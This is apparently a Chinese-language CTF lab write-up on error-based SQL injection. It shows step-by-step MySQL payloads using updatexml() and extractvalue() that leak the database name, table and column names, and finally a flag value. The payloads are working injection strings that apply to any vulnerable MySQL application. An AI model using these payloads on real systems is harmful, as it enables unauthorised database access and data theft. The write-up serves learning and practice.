一、基本操作:整理已知信息,本题为报错注入,需进一步确认回显方式
二、用updatexml()解题步骤
step 1:依据回显方式判断题目类型
键入:1、1 and 1=1 、id=2-1
得到:查询正确的回显
键入:1’、1' and 1=1
得到:错误回显,但是错误回显中并没有数字1,第一个和第三个引号是SQL数据库自带符号,中间是输入的内容,但报错内容只框住了单引号,说明单引号前的内容没有问题,所以还是数字型注入
step 2:查看字段名
多次尝试查询字段数
sql">1 order by 3
sql">1 order by 2
step 3:确定报错函数updatexml()可用
updatexml()函数
一般形式:updatexml (XML_document, XPath_string, new_value)
参数:
XML_document:是一个有效的 XML 文档对象,可以是一个字符串形式的 XML 文档。
XPath_string:是一个 XPath 表达式,用于指定要更新的节点在 XML 文档中的位置。XPath 是一种用于在 XML 文档中查找信息的语言。
new_value:是要更新到指定节点的新值。
sql">1 and updatexml(1,0x7e,3) -- a
payload解释:第一个参数和第三个参数都不符合要求,目的是引发报错,第二个参数中7e对应的ASCII字符是~,目的是引发SQL报错;最后的-- a是SQL注释掉后面的语句
updatexml()的主要目的:引发报错
step 4:爆数据库名
sql">1 and updatexml(1,concat('~',database(),'~'),1) -- a
注:这里的concat()函数是用于将多个字符串连接成一个字符串的函数
step 5:爆表名
sql">1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'sqli' ),'~'),1) -- a
注:这里的group_concat()函数是用于将分组后的字符串连接起来;concat()函数的中间参数(爆数据库名核心语句)要括号括起来,其余一样
step 6:爆列名
sql">1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'),'~'),3) #
step 7:爆具体数据
sql">1 and updatexml(1,concat('~',(select concat(flag) from sqli.flag),'~'),1) -- a
三、用extractvalue()函数解题步骤
extractvalue()函数
一般形式:extractvalue (XML_document, XPath_string)
XML_document:是一个有效的 XML 文档对象,可以是一个字符串形式的 XML 文档
XPath_string:是一个 XPath 表达式,用于指定要从XML_document中提取的节点或节点值的位置
前面重复部分见前面详情
接
step 4:爆数据库名
sql">1 and extractvalue(1,concat(0x7e,database(),0x7e)) #
注:这里extractvalue()函数中第一个参数是满足函数参数要求,第二个参数是构造特定的报错信息
step 5:爆所有的表名
sql">1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) #
step 6:爆列名
sql">1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e)) #
step 7:爆具体数据
sql">1 and extractvalue(1,concat(0x7e,(select flag from sqli.flag),0x7e)) #
四、updatexml()函数和extractvalue()函数的区别
具体区别在于updatexml()函数有三个参数,extractvalue()函数有两个参数,核心语句与整数型注入无差别,这里同样要加 # 或 -- a 将剩余部分注释掉